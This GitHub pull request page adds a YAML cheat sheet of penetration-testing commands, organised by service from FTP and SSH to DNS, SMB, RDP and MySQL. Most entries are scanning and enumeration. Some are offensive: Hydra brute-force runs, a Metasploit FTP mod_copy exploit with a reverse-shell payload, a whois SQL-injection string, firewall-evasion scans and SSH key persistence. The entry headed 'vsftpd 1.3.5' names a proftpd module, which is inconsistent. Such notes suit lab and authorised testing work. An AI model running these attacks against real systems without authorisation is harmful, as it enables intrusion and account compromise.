Skip to content

Ce am lucrat pana acum #1

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Draft
Ap0k42k wants to merge 1 commit into
base: main
Choose a base branch
from
Draft

Ce am lucrat pana acum #1

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
386 changes: 386 additions & 0 deletions commands.yml
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,386 @@
RECON:
Network:
"":
- description: "netdiscover"
commands:
- "sudo netdiscover -i eth0 -r NET"
- description: "nmap"
commands:
- "nmap -Pn -p- -v -T4 --max-retries 5 IP -oN RECON_DIR/nmap.init"
- "cat RECON_DIR/nmap.init | grep -E \"^[0-9]+/tcp.*(open|filtered|closed)\" | awk '{print $1}' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//g' > RECON_DIR/ports"
- "sudo nmap -Pn -sS -sV -n -v -A -T4 -p $(cat RECON_DIR/ports) IP -oN RECON_DIR/nmap.alltcp"
- description: "fping + nmap"
commands:
- "fping -a -g NET 2>/dev/null > RECON_DIR/hosts"
- "nmap -sC -sV -v -A -T4 -Pn -iL RECON_DIR/hosts -n -p- -oN RECON_DIR/nmap.network --open --max-retries 5"
- description: "masscan"
commands:
- "masscan NET –echo > RECON_DIR/masscan.conf"
- description: "UDP with nmap"
commands:
- "nmap -sU -sV --version-intensity 0 -F -n NET -oN RECON_DIR/nmap.udp-net"
- "udp-proto-scanner.pl NET"
- description: "No man's land"
commands:
- "for i in {1..254} ;do (ping -c 1 10.10.10.$i | grep 'bytes from' | awk '{print $4}' | cut -d ':' -f 1 &) ;done"
"Single Host":
nmap:
- description: "Extract ports and run all-TCP scan"
commands:
- "nmap -Pn -p- -v -T4 --max-retries 5 IP -oN RECON_DIR/nmap.init"
- "cat RECON_DIR/nmap.init | grep -E \"^[0-9]+/tcp.*(open|filtered|closed)\" | awk '{print $1}' | cut -d '/' -f 1 | tr '\n' ',' | sed 's/,$//g' > RECON_DIR/ports"
- "sudo nmap -Pn -sS -sV -n -v -A -T4 -p $(cat RECON_DIR/ports) IP -oN RECON_DIR/nmap.alltcp"
- description: "Perform OS detection with Nmap"
commands:
- "sudo nmap -O -Pn -p- -T4 --max-retries 4 -v IP -oN RECON_DIR/nmap.os"
- description: "Vulnerability scan with Nmap"
commands:
- "nmap --script vulners -Pn -sC -sV -v -A -T4 -p- --max-retries 5 --open IP -oN RECON_DIR/nmap.vuln"
- description: "Run UDP scan with Nmap"
commands:
- "nmap -sU -sV -sC -n -F -T4 IP -oN RECON_DIR/nmap.udp"
- description: "Firewall evasion"
commands:
- "sudo nmap -v -Pn -sS -sV -T4 --max-retries 3 --min-rate 450 --max-rtt-timeout 500ms --min-rtt-timeout 50ms -p- -f --source-port 53 --spoof-mac aa:bb:cc:dd:ee:ff IP"
rustscan:
- description: "Fast rustscan analysis"
commands:
- "rustscan -a IP --ulimit 5000 -- -sC -sV -v -oN RECON_DIR/rustscan.init"
autorecon:
- description: "Enumeration with autorecon"
commands:
- "autorecon -v --heartbeat 10 IP"
legion:
- description: "Recon with legion - GUI application"
commands:
- "sudo legion"
zenmap:
- description: "Recon with zenmap - GUI application"
commands:
- "zenmap"
"No man's land":
- description: "Utilizing /dev/tcp/ip/port to test connection"
commands:
- "for port in {1..65535}; do echo 2>/dev/null > /dev/tcp/IP/$port && echo -e \"$port open\\n\"; done"

FTP:
Enumeration:
"Anonymous Access":
- description: "Check for anonymous FTP login with Nmap"
commands:
- "nmap -p PORT --script ftp-anon IP -oN RECON_DIR/ftp_anonymous.txt"
- description: "Check for anonymous FTP login with FTP client"
commands:
- "ftp -nv IP PORT"
"Banner Grabbing":
- description: "FTP Banner Grabbing with Nmap"
commands:
- "nmap -sV -p PORT IP -oN RECON_DIR/ftp_banner.txt"
- description: "FTP Banner Grabbing with Netcat"
commands:
- "nc -nv IP PORT"
"Brute Force":
- description: "FTP Brute Force with Hydra"
commands:
- "hydra -L users.txt -P passwords.txt ftp://IP -s PORT"
- description: "FTP User Enumeration with ftp-user-enum"
commands:
- "ftp-user-enum.pl -U /usr/share/seclists/Usernames/cirt-default-usernames.txt -t IP"
Access:
"Read Permissions":
- description: "List files and directories"
commands:
- "ls -lsa"
- description: "Download a specific file"
commands:
- "get FILENAME"
- description: "Download all files"
commands:
- "prompt; mget *"
- description: "Recursive download using wget"
commands:
- "wget -r ftp://USER:PASS@IP/"
- description: "Enter passive FTP session"
commands:
- "quote PASV"
"Write Permissions":
- description: "Upload binary files"
commands:
- "binary; put BINARY_FILE"
- description: "Upload ASCII files"
commands:
- "ascii; put ASCII_FILE"
"Mount Folders":
- description: "Mount FTP folder using curlftpfs"
commands:
- "mkdir /mnt/ftp"
- "curlftpfs IP /mnt/ftp/ -o user=USER:PASS"
- description: "Unmount FTP folder"
commands:
- "fusermount -u /mnt/ftp"
"mod_copy RCE in vsftpd 1.3.5 ":
- description: "Exploit manually"
commands:
- "nc -v IP 21"
- "site cpfr LOCAL_FILE"
- "site cpto FTP_DIRECTORY"
- description: "Exploit with metasploit"
commands:
- "sudo msfdb start"
- "msfconsole -q"
- "use /exploit/unix/ftp/proftpd_modcopy_exec"
- "set rhosts IP"
- "set lhost tun0"
- "set sitepath /var/www/something"
- "set payload cmd/unix/reverse_python"

SSH:
Enumeration:
"Banner Grabbing":
- description: "SSH Banner Grabbing with Nmap"
commands:
- "nmap -p22 IP -sV"
- description: "SSH Keyscan"
commands:
- "ssh-keyscan -t rsa IP -p 22"
"Algorithm Enumeration":
- description: "List supported algorithms"
commands:
- "nmap -p22 IP --script ssh2-enum-algos -oN RECON_DIR/ssh-alg"
Brute Force:
Hydra:
- description: "Brute force SSH with Hydra"
commands:
- "hydra -l USER -P NOTES_DIR/passwords.txt ssh://IP -s 22"
Access:
"":
- description: "Execute a command right after login"
commands:
- "ssh -v USER@IP id;cat /etc/passwd"
"ID_RSA key":
- description: "Simple login"
commands:
- "chmod 600 id_rsa"
- "ssh -i id_rsa USER@IP"
- description: "Passphrase protected"
commands:
- "ssh2john id_rsa > NOTES_DIR/hashes-ssh.txt"
- "john NOTES_DIR/hashes-ssh.txt --wordlist=/usr/share/wordlists/rockyou.txt"
Tunnel:
- description: "Local Tunnel"
commands:
- "ssh -L local_ip:local_port:destination_ip:destination_port user@IP"
- description: "Remote Tunnel"
commands:
- "ssh -R remote_ip:remote_port:destination_ip:destination_port user@IP"
- description: "Additional arguments"
commands:
- "-N don't execute commands"
- "-f run in background"
Persistence:
- description: "Generate SSH keys"
commands:
- "ssh-keygen"
- "scp ~/.ssh/id_rsa.pub USER@IP:/home/USER/.ssh/authorized_keys"
Other:
"Port Knock":
- description: "Check config file"
commands:
- "sudo nano /etc/knockd.conf"
- "sudo vim /etc/default/knockd"
- description: "Knock on the found ports to open SSH"
commands:
- "knock -v IP port1 port2 port3"

TELNET:
Enumeration:
nmap:
- description: ""
commands:
- "nmap -n -sV -Pn --script \"*telnet* and safe\" -p PORT IP -oN RECON_DIR/nmap.telnet"
Bruteforce:
hydra:
- description: ""
commands:
- "hydra -l root -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt IP telnet"

SMTP:
Enumeration:
"VRFY Command":
- description: "Check for valid users with VRFY"
commands:
- "nc IP 25"
- "VRFY root"
- "VRFY user"
- description: "Possible responses"
commands:
- "252 2.0.0 root"
- "550 5.1.1 user: ... User unknown in local recipient table"
"Users Enumeration":
- description: "With smtp-user-enum"
commands:
- "smtp-user-enum -M VRFY -U users.txt -t IP"
- description: "With nmap"
commands:
- "nmap --script smtp-enum-users IP -oN RECON_DIR/nmap.smtp-users"
- description: "With metasploit"
commands:
- "msfconsole -q -e \"use auxiliary/scanner/smtp/smtp_enum\""
"Allowed Commands":
- description: "Use nmap to find allowed commands"
commands:
- "nmap -p PORT --script smtp-commands IP -oN RECON_DIR/nmap.smtp-comm"
"Check NTLM Authentication":
- description: "Use nmap"
commands:
- "nmap -sS -v --script=*-ntlm-info --script-timeout=60s DOMAIN -oN RECON_DIR/nmap.smtp-ntlm"
- description: "Check for NTLM challenge response for information disclosure"
commands:
- "telnet DOMAIN PORT"
- "HELO"
- "NTLM AUTH"
- "TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA="
"Find MX servers":
- description: "Enumerate with dig"
commands:
- "dig +short mx DOMAIN"
Access:
Enumeration:
- description: "Things to try while on the server"
commands:
- "- look for info about the network topology"
- "- view headers for relevant information"

WHOIS:
Enumeration:
"Find the domain":
- description: "Enumeration"
commands:
- "whois -h IP -p PORT \"DOMAIN\""
- "echo \"DOMAIN\" | nc -vn IP PORT"
Exploitation:
"SQL injection":
- description: "Payload"
commands:
- "whois -h IP -p PORT \"a') or 1=1#"
Enumeration2:
"View Records":
- description: "All records"
commands:
- "dig DOMAIN ALL"
- description: "A records"
commands:
- "dig DOMAIN +short"
- description: "Mail server"
commands:
- "dig DOMAIN -t mx +short"
- description: "NS, CNAME records"
commands:
- "dig DOMAIN -t ns +short"
- description: "ZONE transfer"
commands:
- "dig axfr DOMAIN ns08.DOMAIN"
- "dig axfr IP DOMAIN"
- "dig @IP DOMAIN -t AXFR +nocookie"
- "host -t axfr DOMAIN IP"
- "dnsrecon -d DOMAIN -t axfr"
- description: "Specify a DNS server"
commands:
- "dig @IP DOMAIN"

DNS:
Enumeration:
"Automated":
- description: "Automated enumeration"
commands:
- "nmap -n --script \"(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport\" IP -oN RECON_DIR/nmap.dns"
- "dnscan.py -d DOMAIN -r -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt"
Bruteforce:
"Subdomains":
- description: "Bruteforce subdomains"
commands:
- "wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u \"DOMAIN\" -H \"Host: FUZZ.DOMAIN\" --hl 7 -f RECON_DIR/subdomains.txt"
- "gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -u DOMAIN"
- "nmap -T4 -p PORT --script dns-brute DOMAIN"
- "dnsrecon -d DOMAIN -D /usr/share/wordlists/dnsmap.txt -t std --xml RECON_DIR/dnsrecon.xml"
- "puredns bruteforce all.txt $domain"

TFTP:
Enumeration:
Nmap:
- description: "Enumerate with nmap"
commands:
- "nmap -n -Pn -sUV -pPORT --script tftp-enum IP -oN RECON_DIR/nmap.tftp"
Metasploit:
- description: "See upload/download capabilities"
commands:
- "msfconsole -q -e \"use auxiliary/admin/tftp/tftp_transfer_util"

SMB:
Enumeration:
"Nmap Scripts":
- description: "Run SMB NSE Scripts"
commands:
- "nmap --script \"safe or smb-enum-*\" -p 139,445 IP -oN RECON_DIR/nmap.smb"
Enumeration2:
"Enum4Linux":
- description: "Enumerate SMB with Enum4Linux"
commands:
- "enum4linux -avA IP > RECON_DIR/enum4linux.out"
Brute Force:
Hydra:
- description: "Brute force SMB with Hydra"
commands:
- "hydra -L users.txt -P passwords.txt IP smb"

NFS:
Enumeration:
"Showmount":
- description: "List NFS shares"
commands:
- "showmount -e IP"
Access:
"Mount Share":
- description: "Mount NFS share"
commands:
- "mkdir /mnt/nfs"
- "mount -t nfs IP:/share /mnt/nfs"
"Unmount Share":
- description: "Unmount NFS share"
commands:
- "umount /mnt/nfs"

LDAP:
Enumeration:
"Nmap Scripts":
- description: "Enumerate LDAP with Nmap"
commands:
- "nmap -n -sV --script \"ldap* and not brute\" IP -oN RECON_DIR/nmap.ldap"
ldapsearch:
- description: "Anonymous LDAP search"
commands:
- "ldapsearch -x -H ldap://IP -b \"DC=DOMAIN,DC=COM"

RDP:
Enumeration:
"Nmap Scripts":
- description: "Check RDP security"
commands:
- "nmap -sV -Pn -p 3389 --script rdpscreenshot.nse IP -oN RECON_DIR/nmap.rdp"
Brute Force:
Hydra:
- description: "Brute force RDP with Hydra"
commands:
- "hydra -L users.txt -P passwords.txt rdp://IP"

MYSQL:
Enumeration:
"Nmap Scripts":
- description: "MySQL Enumeration with Nmap"
commands:
- "nmap -sV -Pn -T4 -vv --script=mysql* IP -p 3306 -oN RECON_DIR/nmap.mysql"
Access:
"Login":
- description: "Login to MySQL"
commands:
- "mysql -u root -p -h IP"
Loading